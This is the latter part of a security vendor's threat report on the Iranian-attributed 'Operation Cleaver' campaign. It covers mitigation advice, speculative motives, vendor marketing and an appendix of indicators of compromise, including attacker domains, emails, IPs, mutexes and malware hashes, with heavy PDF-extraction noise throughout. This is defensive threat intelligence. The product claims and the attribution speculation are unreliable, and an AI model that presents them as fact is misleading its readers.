srv01.microsoftupdateserver(dot) + net + 59 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + MITIGATION COVER + MITIGATION + TTP COVER HERE + 6f20476f6f64 + 44 + 20 + c + c2 + b204576696 + 6e6 + 9 + 86 + 546 + #OPCLEAVER + #OPCLEAVER + MITIGATION + If after reviewing the Indicators of Compromise (IOC) listed in Appendix A, you believe your + organization to be a victim of Operation Cleaver, we recommend you consider the following course + of action: + 1. If inside the United States, contact the Federal Bureau of Investigation (FBI) via either your local + FBI team or FBI CYWATCH at 1-855-292-3937 or cywatch@ic.fbi.gov. + 2. If outside the United States, contact your local, district, state or federal law enforcement + authorities. + 20476 f64 + 3. If you have visibility into the attacks on your company and the tools and expertise to track them + 6f + down, leverage the IOCs in Appendix A to identify their presence in your network, prevent them + 4 + 4 + from expanding the scope of the compromise, and remove their access immediately. + 20 into the attacks, need help identifying an existing successful + 4. If you do NOT have visibility + c + c2 + compromise in your organization, or more importantly wish to prevent this attack or attacks similar + to Operation Cleaver, please contact your security provider. + 04576696 + 5. If you wish to contact Cylance for additional details not available in this report, please email + opcleaver@cylance.com. + 6. If you would like to learn more about Cylance products and professional services, or discuss how + Cylance can mitigate Operation Cleaver +s impact to your organization, please contact us directly. + 6b2 + +1 (877) 973 - 3336 + 6e + 9 + opcleaver@cylance.com 6 + 8 + www.cylance.com 546 + 61 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + SPECULATION + SPECULATION COVER + TTP COVER HERE + 6f20476f6f64 + 44 + 20 + 2c + 6b204576696c + e + 96 + 86 + 546 + #OPCLEAVER + #OPCLEAVER + SPECULATION: THE WHY + Iran in 2014 can probably be best described as galvanizing. They have long been an +enemy + the west, and the United States in particular, but today +s headlines include a variety of topics from + nuclear talks to human rights to terrorism to cyber hacking. Iran continues to be extremely active on + the global stage + and thereby on the radar of every superpower.10 + Iran +s cyber sophistication has grown rapidly since the dawn of Stuxnet and they have used hard + dollars combined with national pride to help build their cyber army. Few doubt their commitment + as a government and nation state to funding and recruiting cyber warriors to infiltrate and damage + their enemies. And it has been commonly postulated that almost all activity since 2010 coming out + of Iran is associated with retaliation for Stuxnet/Duqu/Flame, which seems natural given the severity + 20476 f64 + of the impact. But they don +t need Stuxnet as motivation to want to hack the world. They have long + 6 f + desired power on the political stage, in particular in the fight for nuclear power autonomy. + With the deadlines around0 + 44 + the Iranian nuclear discussions pushed to 2015, the attacks may be tied + 2 discussing a pact with the nuclear superpowers of United States, Britain, + to negotiating power when + c + c2 + France, Germany, Russia and China. + 04576696 + The inner workings of the Iranian government remain largely a mystery to the western world. + However, Iran +s control over its people and the private businesses birthed inside has been well + reported. In a 2014 Reuters article, the reporters detail how the secret Iranian organization called +Setad Ejraiye Farmane Hazrate Emam + has become one of the most powerful organizations in the + country, capable of taking over properties and businesses, buying controlling interests in numerous + sectors including finance, oil, telecommunications and many others totaling in upwards of $95B.11 + Even the US Treasury has documented an extensive fronting of companies in its report of Execution + b2 + of Imam Khomeini +s Order (EIKO), which through its two main subsidiaries controls 37 private + 6 + businesses that are purely front companies for the Iranian government.12 + 6e + The history of Iran controlling the usage of the Internet and the very Internet on-ramps into Iran is + 9 + well known13, 14. They have controlled much of the country +s Internet access to date and have taken + 86 + over controlling interests in those companies to carry out their work. Given Operation Cleaver + 546 + frequent spin-up and take-down of large IP blocks inside the AFRANET IP space inside Iran, + and Iran +s well recorded investment in cyber warfare14 leads us to one simple conclusion: Iran is + extremely active in the world of hacking. + 63 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Speculation: The Why (cont.) +Involvement with North Korean +Operation Cleaver +s intense focus on critical infrastructure companies, especially in South Korea, +hints at information sharing or joint operations with Iran +s partner, North Korea. In September, +2012, Iran signed an extensive agreement for technology cooperation agreement with North +Korea, which allows for collaboration on a variety of efforts including IT and security.6 +Cyber Moving to Physical +Operation Cleaver +s carefully selected targets like the oil and gas industry, energy and utility +companies, as well as airlines and airports, indicates Iran +s desire to gain deep access into the +world +s most critical environments. The end goal of this operation is not known at this time. +University Recruitment +University student recruitment was hinted at within Operation Cleaver and is consistent with +Iran +s reported history of active warrior recruitment in the educational space.15 +Overall, there are many reasons that Iran may be pursuing the targets they did in Operation +Cleaver. While we may never truly know, it is important to consider all the above and more when +trying to understand the why. + CONCLUSION + 6f20476f6f64 + 44 + 20 + c + c2 + b204576696 + 6e6 + 86 + 546 + #OPCLEAVER + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +CONCLUSION +After tracking the Operation Cleaver team for over two years, we +re led to the inexorable +conclusion: the government of Iran, and particularly the Islamic Revolutionary Guard Corps +(IRGC), is backing numerous groups and front entities to attack the world +s critical infrastructure. +As security experts in Critical Infrastructure and Key Resources (CIKR), Industrial Control Systems +(ICS), Supervisory Control and Data Acquisition (SCADA) systems, Building Management Systems +(BMS), embedded systems and fixed-function systems, we know how easy they are to hack. +We have worked with countless customers and vendors throughout the years to notify them of +vulnerabilities, assist with remediatation efforts, and help mitigate threats to their environments. +Unfortunately, many critical infrastructure organizations are unable to secure their complex +envirnoments against modern attacks. They fall victim to the +glue flu +, a malaise of feeling stuck, +not wanting to change the status quo for fear they will find problems that they have no idea how +to prevent. This +security anaphylaxis + spells real disaster. +If Operation Cleaver doesn +t get the world to wake up to what is happening in the silent world of +cyber, then perhaps nothing will. Prevention is everything and we should never give up until it +achieved. +Challenge your trusted advisors. Challenge your security vendors. Demand better technology +and services to detect, respond, but most importantly PREVENT not just contemporary attacks, +but future exotic attacks that have yet to be imagined. That is what truly disruptive and innovative +technology is. Don +t settle for anything less. +We hope that by exposing the Operation Cleaver team to the world, current global critical +infrastructure victims can be notified, and prevent future victimization from suffering the +consequences of +status quo + security. Unlike United Flight 811, perhaps we can prevent the next +disaster. + DEFENDERS, NEVER GIVE UP! + #OPCLEAVER + REFERENCES + [1] Aboard Flight 811: Passengers + Routine Dissolves Into Terror - February 1989 + http://www.nytimes.com/1989/02/26/us/aboard-flight-811-passengers-routine-dissolves-into-terror.html + [2] +Forget China: Iran +s Hackers Are American +s Newest Cyber Threat + - February 2014 + http://complex.foreignpolicy.com/posts/2014/02/18/forget_china_iran_s_hackers_are_america_s_newest_cyber_ + threat + [3] +Developments in Iranian Cyber Warfare 2013-2014 + - August 2014 + http://www.inss.org.il/uploadImages/systemFiles/SiboniKronenfeld.pdf + [4] +Iran ups cyber attacks on Israeli computers: Netanyahu + - June 2013 + http://uk.reuters.com/article/2013/06/09/us-israel-iran-cyber-idUKBRE95808H20130609 + 6 f20476 f64 + [5] +Iranians hacked Navy network for four months? Not a surprise. + - February 2014 + 44 + http://arstechnica.com/information-technology/2014/02/iranians-hacked-navy-network-for-4-months-not-a-surprise/ + [6] +Iran and North Korea Sign 0 + 2 Technology Treaty to Combat Hostile Malware + - September 2012 + http://www.v3.co.uk/v3-uk/news/2202493/iran-and-north-korea-sign-technology-treaty-to-combat-hostile-malware# + c + c2 + [7] +Iran +s Paramilitary Militia Is Recruiting Hackers + - January 2011 + 04576696 + http://www.forbes.com/sites/jeffreycarr/2011/01/12/irans-paramilitary-militia-is-recruiting-hackers/ + [8] +The Iranian Nuclear Weapon + - January 2014 + http://webcache.googleusercontent.com/search?q=cache:eJbMz7vynpQJ:iranredline.org/index. + php%3Fid%3D22+&cd=1&hl=en&ct=clnk&gl=us + [9] +HPSR Threat Intelligence Briefing Episode 11, February 2014 + - February 2014 + http://www8.hp.com/h20195/v2/getpdf.aspx/4AA5-1589ENW.pdf?ver=1.0 + 2 + [10] +Intel boss + warning on cyber attacks no joke, say experts + - November 2014 + b + http://www.foxnews.com/world/2014/11/23/intel-boss-warning-on-cyber-attacks-no-joke-say-experts/ + e6 + [11] +Khamenei controls massive financial empire built on property seizures + - November 2013 + 96 + http://www.reuters.com/investigates/iran/#article/part1 + 86 + [12] +Treasury Targets Assets of Iranian Leadership + - June 2013 + 546 + http://www.treasury.gov/press-center/press-releases/Pages/jl1968.aspx + [13] +Internet Censorship in Iran + http://en.wikipedia.org/wiki/Internet_censorship_in_Iran + [14] +Iranian Internet - Fact and Faction + http://surveillance.rsf.org/en/iran/ + [15] +Iran readying hacker attacks on U.S. infrastructure, specialists say + - April 2012 + http://www.washingtontimes.com/news/2012/apr/25/iran-readying-hacker-attacks-us-infrastructure-spe/?page=all + 67 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + ABOUT CYLANCE + In the face of growing and evolving threats, traditional cyber protection technologies are now + widely considered inadequate. The only way to regain the upper hand against a new generation + of attackers, is to embrace something entirely new. Something that +thinks + like an attacker. + Something that doesn +t rely on a trust model or care about hash lookups. Something with a brain. + +The world has combated cyber threats by doing the same + thing over and over again ... it +s the definition of insanity! + Jeff Moss - Co-Chair of the DHS Community Resiliency Task Force + & Founder of BlackHat and DEFCON security conferences + Cylance has eschewed the old foundations that existing cybersecurity products are built upon. + Instead, we +ve based our approach on mathematics, machine learning, and data science. This + algorithmic approach has been proven to detect + and stop + exponentially more modern threats. + Leveraging algorithmic risk modeling, CylancePROTECT protects endpoints from everyday viruses, + worms, trojans, and spyware, but unlike other security products, CylancePROTECT offers true + future-proof protection against the most malicious threats in the world. Advanced Persistent Threats + (APT), 0-days, and exotic exploitation techniques are easily detected and halted with little-to-no + impact on the end-user. + Existing reactive solutions rely on a constant stream of signature updates for threat detection, which + is not only costly and inconvenient, but also requires +sacrificial lambs +. Only after a previously + unseen threat has inflicted damage can the rest of the industry begin to detect it. CylancePROTECT + doesn +t require constant updates or even a network connection to protect against so-called +previously undetectable + threats. By identifying and defusing attacks in near real time, before the + attack can execute, we can finally do away with the need for a +patient zero + As Richard Stiennon, Chief Research Analyst at IT-Harvest, put it, +Many vendors are trying to solve + the endpoint problem, yet Cylance is the only one using the power of math to stop malware and + with more effectiveness and efficiency than current solutions + Interested in seeing what CylancePROTECT can do for your organization? Contact us! + Cylance is one of the fastest growing cybersecurity technology firms in the US. Cylance +s flagship product + CylancePROTECT has been adopted by Fortune 500 companies and government agencies across the globe. Cylance + was founded by 27-year security industry luminary, Stuart McClure, former Global CTO of McAfee, original founder + of Foundstone, and lead author of the international best-selling book Hacking Exposed. In building Cylance, Stuart + brought together the best scientific and executive minds from the likes of Cisco, Sourcefire, Google and McAfee. The + Cylance board of advisors includes former high-ranking officials from the DHS, the FBI, CIA, and executive titans of + business. + #OPCLEAVER + CYLANCE PRODUCTS + CylancePROTECT is the only next generation endpoint security product that applies math to + mute existing and future malware, viruses, worms, trojans, bots, APTs, 0-days, exploits, adware, + spyware and hacking tools + without needing any updates or even a connection to the Internet. + The technology is founded on the principle that to fix the industry, you must start from scratch with + a way as yet unseen. + CylancePROTECT does not rely on signatures of any sort (blacklist or whitelist), behavioral + analysis using IOCs, sandboxing analysis, heuristics, micro-virtualization, or dynamic detonation + to detect and prevent malicious files from executing on a target endpoint. + While every other endpoint security product must collect a sample, analyze, and write a signature + f20476 f64 + to detect it, CylancePROTECT can detect malware before it executes by statically analyzing + 6 + 4 + features found in the binary itself. + 4 + 0 + Features and Benefits of2CylancePROTECT: + c + c2 + Near real time detection of malicious files, even if they +ve never been seen in the wild. + 04576696 + Can be used to augment existing endpoint security or be deployed as a complete replacement. + Does not require any signature updates or connection to the cloud. + An easy-to-use web management console with intuitive workflows. + Low-impact endpoint agent. + For a demo of CylancePROTECT, contact a Cylance expert today! + 6b2 + 6e + 9 + 86 + 546 + Figure 26: Cylance products detect and stop all the malware used in + Operation Cleaver, even though the vast majority of the samples are + completely missed by the antivirus industry as of this report +s publication. + 69 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + CYLANCE SERVICES + Cylance +s Professional Services team is available to assist companies affected by this campaign. + Cylance is providing consulting to companies that may have been targeted by these advanced + threat actors. Cylance will perform initial triage in order to determine the extent to which your + company has been affected by this campaign and work towards establishing a containment + strategy. + Cylance has two tailored offerings for clients affected by this campaign. The first one includes + ICS in our incident response since many companies affected are in the Critical Infrastructure and + Key Resources (CIKR) vertical. The second offering +s focus is to deploy our proprietary tools and + methodologies to detect and mitigate the threats posed by Operation Cleaver. + Option 1: ICS Incident Response & APT Detection and Mitigation + Option 2: Detection, Remediation, & Mitigation + For more information on how the Cylance Professional Services team can assess and respond to + attacks like the ones obseved in Operation Cleaver, contact sales@cylance.com today. + INCIDENT RESPONSE + COMPROMISE ASSESSMENTS Stop the threat, mitigate risk, + and remediate. + Uncover previously undiscovered + breach and damage. + PENETRATION TESTING + Check the integrity of your + environment and infrastructure. FORENSIC INVESTIGATIONS + Dig into who, what, where, and + CUSTOM SERVICES when a compromise occurred. + Get expert help that addresses YOUR security needs. + #OPCLEAVER + ACKNOWLEDGMENTS + Brian Wallace + Brian is a Sr. Security Researcher for Cylance who joined shortly after the company was established. + He is best known for his avid botnet research (often going by +botnet_hunter +) and for his novel + malware analysis in the A Study in Bots blog series hosted by Cylance. Brian has been a dedicated + open-source developer as well as an advocate for public and private anti-botnet operations. + Brian actively develops techniques to combat cyber oppositions in positions where resources and + leverage are in too limited of supply for conventional means. These techniques, cultivated by Stuart + McClure, are the Art of Deterrence. In a previous investigation, Art of Deterrence techniques were + successfully used to divert Indonesian hackers motivated by monetary gain away from their highest + yielding target group. + 6f20476 f64 + 4 + Brian +s botnet research covers a wide range of topics, from using graph analysis to estimate + 4 + 20 + the amount of ransom that has been paid to a ransomware operator, to utilizing IPv4 scanning + techniques to identify and take down point of sale malware panels. + c + c2 + Stuart McClure + 04576696 + Stuart is founder, CEO/President and Chairman of Cylance. Widely recognized for his extensive and + in-depth knowledge of security products, Stuart McClure is considered one of the industry +s leading + authorities in information security today. A well-published and acclaimed security visionary with + currently eleven books in print, McClure is the originating founder of the Hacking Exposed series + of books, the most successful security book ever written. From his work, he founded Foundstone in + October of 1999 which sold to McAfee in 2004. + 2 + McClure brings over two decades of technology and executive leadership with profound technical, + b + operational, and financial experience. Besides Foundstone, Stuart held leadership positions at + 6 + InfoWorld, Ernst & Young, Kaiser Permanente and a number of government agencies. At McAfee, + 6e + McClure held numerous positions including SVP/General Manager for the Security Management BU + 9 + as well as EVP/Global Chief Technology Officer responsible for almost $3B worth of revenues. + 6 + Today, McClure is CEO of Cylance, a disruptive and innovative startup applying math to the problem + 8 + 546 + of security. Cylance products such as CylancePROTECT prevent the most advanced attacks in the + world without signatures or sandboxing in realtime on the endpoint. Cylance Services offer highly + specialized security services such as incident response, forensics, compromise assessments and + advanced penetration assessments for global critical infrastructure. + Cylance Team + Cylance employees work passionately and tirelessly every day to achieve one goal: Protect the + world from cyber attacks. And with their efforts in tracking Operation Cleaver, they have achieved + that goal. Our endless thanks to all the Cylancers who contributed to this report. + 71 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 + THE OPERATION CLEAVER LOGO + The Operation Cleaver logo, created by Cylance specifically for this report, was inspired by the + infamous logo used by the Army of the Guardians of the Islamic Revolution, also known in the + west as the Iranian Revolutionary Guard Corps (IRGC). Due to the close connection between the + members tracked in this report and the IRGC, it was only fitting to replicate the look and feel of the + IRGC +s iconography as the anchor for this document +s branding. + 20476f6f64 + 446f + 20 + c + c2 + 04576696 + e6b2 + 96 + 86 + 546 + Army of the Guardians of the Operation Cleaver + Islamic Republic (IRGC) + Several of the visual elements present in the IRGC + The striking visual elements that make up the logo logo have been carried over to the Operation Cleaver + of the IRGC have very specific meanings: logo including: + The clenched fist holding a rifle, most likely an + A clenched fist, this time holding a cleaver, + AK-47, represents armed resistance. represents the group +s likely connection with the + The globe symbolizes the IRGC +s worldwide IRGC as well as armed resistence in general. + ambitions. + The globe in the background represents + The book, from which the clenched first Operation Cleaver +s worldwide reach. + emanates, represents the Qur +an, connecting + An ethernet cable connected to the clenched first + the religious ideals on which the group was represents the nature of these attacks (cyber as + founded to the armed struggle. opposed to traditional warfare). + The plants, possibly wheat, represent + The hex string translates to +Think Evil, Do Good + prosperity. a mantra our research team lives by. + The name of the group in Persian, the year in + which it was founded and a passage from the + Qur +an (8:60) +And make ready against them all + you can of power +, are represented in text. + APPENDIX A: +INDICATORS OF COMPROMISE + 6f20476f6f64 + 44 + 20 + c + c2 + b204576696 + 6e6 + 9 + 86 + 546 + #OPCLEAVER + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Indicators of Compromise (IOC) +This Appendix details the IOCs discovered in the investigation of Operation Cleaver. +CylancePROTECT prevents the malware used in Operation Cleaver from ever executing. +Domains +doosan-job(dot)com +downloadsservers(dot)com +drivercenterupdate(dot)com +easyresumecreatorpro(dot)com +googleproductupdate(dot)com +googleproductupdate(dot)net +kundenpflege.menrad(dot)de +microsoftactiveservices(dot)com +microsoftmiddleast(dot)com +microsoftonlineupdates(dot)com +microsoftserverupdate(dot)com +microsoftupdateserver(dot)net +microsoftwindowsresources(dot)com +microsoftwindowsupdate(dot)net +northropgrumman(dot)net +teledyne-jobs(dot)com +windowscentralupdate(dot)com +windowssecurityupdate(dot)com +windowsserverupdate(dot)com +windowsupdateserver(dot)com +www.gesunddurchsjahr(dot)de +Email Addresses Used for Domain Registration +davejsmith200(at)outlook.com tarh.andishan(at)yahoo.com +salman.ghazikhani(at)outlook.com ahmadi(at)odeconline.com +btr.8624(at)yahoo.com kafe0(at)yahoo.com +ghanbarianco(at)gmail.com dg_co(at)yahoo.com +azlinux73(at)gmail.com zahiry_alireza(at)yahoo.com +domain(at)netafraz.com zahiry.alireza(at)gmail.com + #OPCLEAVER + Email Addresses Used for Exfiltration + testmail_00001(at)yahoo.com + TerafficAnalyzer(at)yahoo.com + dyanachear(at)beyondsys.com + IP Addresses + 50.23.164.161 95.211.191.225 + 64.120.128.154 95.211.191.247 + 64.120.208.74 95.211.241.249 + 64.120.208.75 95.211.241.251 + 20476 f64 + 64.120.208.76 108.175.152.230 + 64.120.208.78 + 46f + 108.175.153.158 + 64.120.208.154 4 159.253.144.209 + 66.96.252.198 + 78.109.194.114 + 20 173.192.144.68 + 174.36.195.158 + c + c2 + 80.243.182.149 184.82.158.18 + 87.98.167.71 184.82.181.48 + 04576696 + 87.98.167.85 188.227.180.213 + 87.98.167.141 192.111.145.197 + 88.150.214.162 203.150.224.249 + 88.150.214.166 207.182.142.68 + 88.150.214.168 212.87.154.12 + 88.150.214.170 212.87.154.14 + 6b2 + Mutexes + 6e + 9 + ZSC1 86 + Adobe Report Service + Bmgr + 546 + Dynamic Mutexes + These mutexes are used with the process ID of the malware as a suffix: + demdaramdidam + ILoveThisMutex + 75 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Installed Services Names +COM+ System Extentions +COM__System_Extentions +Network Connectivity Manager +Service1 +MsNetMonitor +Pcapins +scManagerSvc +CredentialSync +Adobe Report Service +Samples (MD5) +Listed below are both the MD5 and SHA-256 hashes for samples related to Operation Cleaver. +01606d42c64e4d15ea07d4e1fbd0c40d +0405adfc8739025ba88c746c8edebfb8 +04fdf5b757764af8bc7ef88e0f8fe8c1 +0512c5a8807e4fdeb662e61d81cd1645 +0593352cadb2789c19c2660e02b2648b +08eabb6164b1b12307931e4f2d95f7c6 +0900c3319e4c46ff9478e3e1fa9528a1 +0acd8945bd162e5e7aa982cddbd8ecaa +0ad6a01a916f14fc24fa43e46813b3bb +0b2cbfa07fa9a090b35a3dfdb0ebad9d +0b80a8d2c56789b4bda9a56a53e7e2b1 +0f4b526d8edf1d3d32c81a692c325733 +10d019932fc43e9b39be709f8281203d +1223e93dd4a5ad0536c8232936cb35fe +144064951cceaf1bb81e8f215de76101 +14a80287490f3a68d99c0f518b246fd2 +17d1f25185b31044eb89a99d50d36a26 +18942a44d2b5f2bbf54e2c18ac293915 +18efd3f66d23c5c555e128a19de63667 +19d9b37d3acf3468887a4d41bf70e9aa +1c2bc564805695dbb3a26d9c9f7dffea +1c7e40443e36c4b7592617f0a271835d +1d8fd8c357907a79f3e6d9f831f2bd7d +21829130d5e2a69b0f6963c68b070127 +2e36a3f3b888c1fd3c3aa3f1ba7969ad +30120cf30ea4d870635893cd75338f97 +304f7f17031af90012d4e4d1cc5cfb8a +336b501bd96e309f93c8d12960634248 +38998ff6f9a3874b6943d7ac837d19c3 + #OPCLEAVER + Samples (MD5) cont. + 3b6260ead85b4f0d706203e062a34a21 + 41eeae4158152f49ab64601c4358a7a1 + 42714874f86fa9bd97e9be460d7d72c0 + 42e459d1d057bd937e0d00958e591f08 + 48dd515e2b148493cf47b0c0c5713573 + 491f031d0a9ad4919cb29cb2d9a9a65c + 4e483762f555b078976a1ddf3fc3e532 + 53230e7d5739091a6eb51298a50eb616 + 537b42d3cd9812e5b583131b83a48508 + 53841511791e4cac6f0768a9eb5def8a + 54def27d598b75f297a8cf2c97150997 + 5837ad676f6c0f0f4f48096648d6e81b + 6f20476 f64 + 5a4046fd0825641766b197a2132d2410 + 44 + 5e5d6469b270aa60dc90ddfde32ba082 + 5eef1ee37714c9ee07653419890010d6 + 20 + 6061410c04b9fa9e47593611a02ff2dd + 6094f64d54575a2d5a3fbd2d23c4f44e + c + c2 + 61896424e995476b23f73a5c1c34af5e + 04576696 + 61e307a651a7bbce78eb48c1d395501a + 636c2d2855ac8a8693c4ef9e89c67205 + 641fc6831d8c215e9645cf5d4a8be5e5 + 68cfc418c72b58b770bdccf19805703e + 69d80a27ab0c85ef073badbee7ec55c7 + 69f9705ecdcc709506f7665ad373c1a0 + 6cd5f1982693f2ce21effddf18f5baf5 + 2 + 6d4d21258eef96979ce6f2417c6c019f + b + 6ef950941d114c09af359402620d7cba + 6 + 735cdf3a3e9c06d88de31112782ef831 + e + 736aab6c731d098931d6a4bf11a8150e + 96 + 758f2557922e360bff3d1565e6871ea1 + 6 + 765f3db4421bdf8bb953dffe37398453 + 8 + 546 + 78a63bc8433cea162e31a5865d5817c9 + 836ef6b06c5fd52ecc910a3e3408004a + 84384d77ac9835720375943235d33a87 + 855239a2434a3bc78751d9ba9cfac900 + 8994e16b14cde144a9cebdff685d8676 + 9376e5b754ccd94f7c66b811d81e240e + 948c570269059928517f155b4b6db1a4 + 94ef4f98b9c321f74778811f64c68d03 + 96e372dea573714d34e394550059b1d7 + 9838f7ead2023061eb79587243910daa + 985e86ac1854585d2771fd173b63b98b + 77 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Samples (MD5) cont. +9a48bee62c41c0640e9564cc37f718bf +9bcb8091ba414a38bfb7a39eccf3f6bc +9e00a52caec6385e0ab1e21e9794a5b0 +9ef9ec11c9f83dde38556feaf88b2a29 +9feee6fe54ee4ec859f7bad0d798ac4e +ad94daecadbac8a54e81a69cacc41441 +ad99db10c0c12eaea09b39568a761b52 +adf77661a409b5a1304d08b62a1264f5 +af58d803b2e0b5d0f194c25ff85a8d81 +afdfafb2c1e2af1a48e833da8f35bb83 +b163fcda16d8fe860a906f768ef27bc8 +b2d78ecce135e008adc3e80915f69798 +b3d5e1ff7a7ff10cd738b215f92d1ad5 +b7ddb09bdc0d0eb39c364d9b9d6436cc +baa76a571329cdc4d7e98c398d80450c +bd9fbbbd7dab62ed6a56d00f21c4c67e +be6273ebd472a2a499a6c1e48ae81112 +be741520f13a2bf8bc064a73e146bf08 +bfc59f1f442686af73704eff6c0226f0 +c1b5464c0506bea6cf778dd18fa456cc +c440ec0a8cf7341b746160a684c51741 +c5282f088b90de1ab758424b152d34ac +c91887d861d9bd4a5872249b641bc9f9 +cb52f84d462ac67bde53eec40128408c +cbe05db979444589211e830487df7610 +d000071a6bf49da390fef8f12aa9e3f8 +d84c3d678f269a0c6beb22ed266efac0 +de56ca66423fc5e42808445f2b5631d3 +de56ca66423fc5e42808445f2b5631d3 +de744bcb7c63b035b6c5c3ec0279c3ac +e0f6c5fdde04fbf8cd1a42f75cb06248 +e4c9e8f28894e89d6270ad6a4c6cd064 +e4e5f1efe44ac06bc3672fd1d8f85630 +e5428bcae8b4e84cb5186ad5c83ffc98 +e7428dec7deb041692d6575e069c1cf0 +e8b1f23616f9d8493e8a1bf0ca0f512a +e8ea10d5cde2e8661e9512fb684c4c98 +eac61634da4513a10b596e6c8c299126 +eb48c318e8fd9a2a7a18da6578db05d6 +f1301bad6da06f436e3a3de0244848e1 +f3d80d813dc6a239d921169c57c5789d +fa7c9a78eda0f3bb9ff8ec827d5bc9ff + #OPCLEAVER + Samples (SHA-256) + 039ce41fb40a27a46c43bf7ef7d1b08cd5e3f6d71ec08e140cd9166247e783af + 0510efd8eae869cd0773a033d5a46d6b7f0162174019e54618887f3085312fcb + 064e47074342a6e026de068adaf48c41b2ec2c341c7514768cb7b39425905524 + 08065f658d65773e583e9ca784148117d87be3a5005a0871cbc4446f42ed5040 + 0ce968ea8cffb6312f6d17af9044a14f79d6427b9038bcfc6212acb5aa23e74b + 0d1f479842cd5bde4f18ab8c85a099da39e13a4051a7c21334e33d55b6f18d76 + 0fee562cd821f53e864e02b00a59780aed63abca9f7502678fca9bf47b8b12bd + 10647c4e7b1b741aeaea9b16d8eb5dae3237ce00dc69f6843790767a277b6204 + 10cf7a186897243363278cf0283a1687749d9ba43fa713b9f974050f56e97cca + 15121b7cbd15143fc0118e06ebe70b7dc1e239b21d865b2c750ed8a0f1f00ef2 + 1578a4c641f0c7913cdf08267d1a88ac384d586c453b922670be380b7e67a179 + 1698d8168e860c3377646b12444d38a2e6aebba5a499504a5fc0a73b91d89407 + f20476 f64 + 1756ba79cd63458a50df86203380824ea855c8d6bf1c673e05a13a62f14cd170 + 6 + 4 + 1aa25a930e8bae5abbe75907c335c7d1d875b60f72f02855a8d37daadc6b469f + 4 + 20 + 1efad3bce90ac1d2011ba686f1ab0e435b9a709763fb238dbcad0f44acddccbe + 20dddd8651a26161139b49dfabfb3b4b743c57fcc982afc11d1c5c4264a2a8be + c + 2a13730f8f16e04cece490eee53bbdcc9bd1e01fbbc2a758562a6462d9473742 + c2 + 2db6f74a8aef9fe86aef5dff3334e8dd252ac45e26b4a12e8641a770bbb08b45 + 04576696 + 2e32c6c9179750df7f1ab35536f09c6b09c73faccea7325fe5c79b5087f5dd6f + 32aa8f19e452a1471640cd7be72f806e1997fd5a1a2b2743898ee4cd0aed0dc5 + 37af3f3b3c43690a2e73d4b5edb968896ec4da7b2c21b12a94e146a10f07fef8 + 39ba1710545fc9e123abbbce61bda1b00525e59346570a3f8c36f7adde5bb47e + 3a7ebd7f502fd3f6b3b88693b1123147621b4030c21df9e0690864e8969e149a + 3bdbf591fa0d81606929fdf6abe44ba6e185dd8fc0fa62ade8afde48f704d11a + 3d18e18ae97045cc3198026ddc681e7d957a25402b79141a3c6fdc18bb879ad6 + 2 + 3fa302449da1e4fad81143cc48fc80034cbc41804f00e00ac17bdb7dba0b992d + b + 42ca980b7fc7892716a923c7bf3ff6a76ce81f81bd0a83bea40a1735f33b36b8 + e6 + 45a2ea5226c1ce11e8955c99d5b58fd3baa66fb53436be63cb099e96ef30db43 + 6 + 48437fe7d7d0c5fbde340e1392662f7fc421fc05d7c9824f71160475105ad999 + 9 + 4f131095ba56f6d3621a007985ac758d780b0c837f554f6e44d535ed55d33af1 + 86 + 508c7691d535102538aaa6dce32d750c2492dada36506a390c1959f261a0244b + 546 + 50d11ad32eb72b128185a0aecf39be8085b6b1a8f30cb41d8bc177a1ff8f3067 + 550a33353730579a7d2b9276cc3b66ca252a59e198285c732fcda46513351c03 + 5ac9f4e25ef4002274496e18ea537b4c582a3acf3126cc1830a63941d9c91e64 + 5d1e81f5a4fca25b7afb18eb906c9a53965d81dcf62f9d91499baf03229a8de8 + 5fb4ae33cac8b2b74e63fc639eeb969a660ef9a7e8310c2769acc925122f047e + 616a25378f70474bcb3ad0fad2f1383009c5b7b3cea937be2a5234a110d64b78 + 634685e43e9f73343cb337ec64a8679485e1ddb4c2de5ecb6a5746aa5ddb1b72 + 6474f74340e7199919e7532c6756cf459cd20c3391852d80b058eb7997a31e9f + 650f143ac0a668536b6750a628ec51e7ca28f5520105eeb87308f557cd74e63c + 65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 + 79 + 476f6f64 + 6f20 + 44 +OPERATION + 20 + 2c + b204576696c +CLEAVER + e6 + 96 + 86 + 546 +Samples (SHA-256) cont. +65509837e15b6a914b611c2d5066ba06ded39b0bed288552e65df20610e35976 +67a2b9c32653161fafaea231b6661d9d797bb0964c79c9ee46cf2bf76571ed45 +6888723e56f2e7696ac1e1910f68a1d54d7c76e9eb8e69554980b04e881e0e86 +7199acca3d851889efa4a5a42b3f55010f4916294201ce5ad20c76898200ffa9 +75b77606175ee696395f1b0e6850d5cd6596e34f74804b30c9bf9e368ebcd299 +7890a726603edcd70b6e6f3de367cf891131d833d14c506b26e07935a715048f +79ca080a152bd44f9b07af0f940c303e45e10d516633384f5b3d34a29d0d03c8 +7b9fd4b9b36cf84fcbcb3e9bf589d8a51c2166558baf462ab312929fbb584642 +80ed4e7a242ee3d1c2656affb04cd56e7262e5a6bf2bec2f8435aa3f47c9b5d1 +8129345ce66643d880a3e01e607399279dec7bf9cadc06d9b26134f6d205ed06 +8813bd0b4ad6c6155b571c9c1fbcabfeed3812ab8fbd9acd8372385094aaa565 +8f02dfd900760cb2c84e4f5a859512f5d719daae063a719c956cbf6185004da5 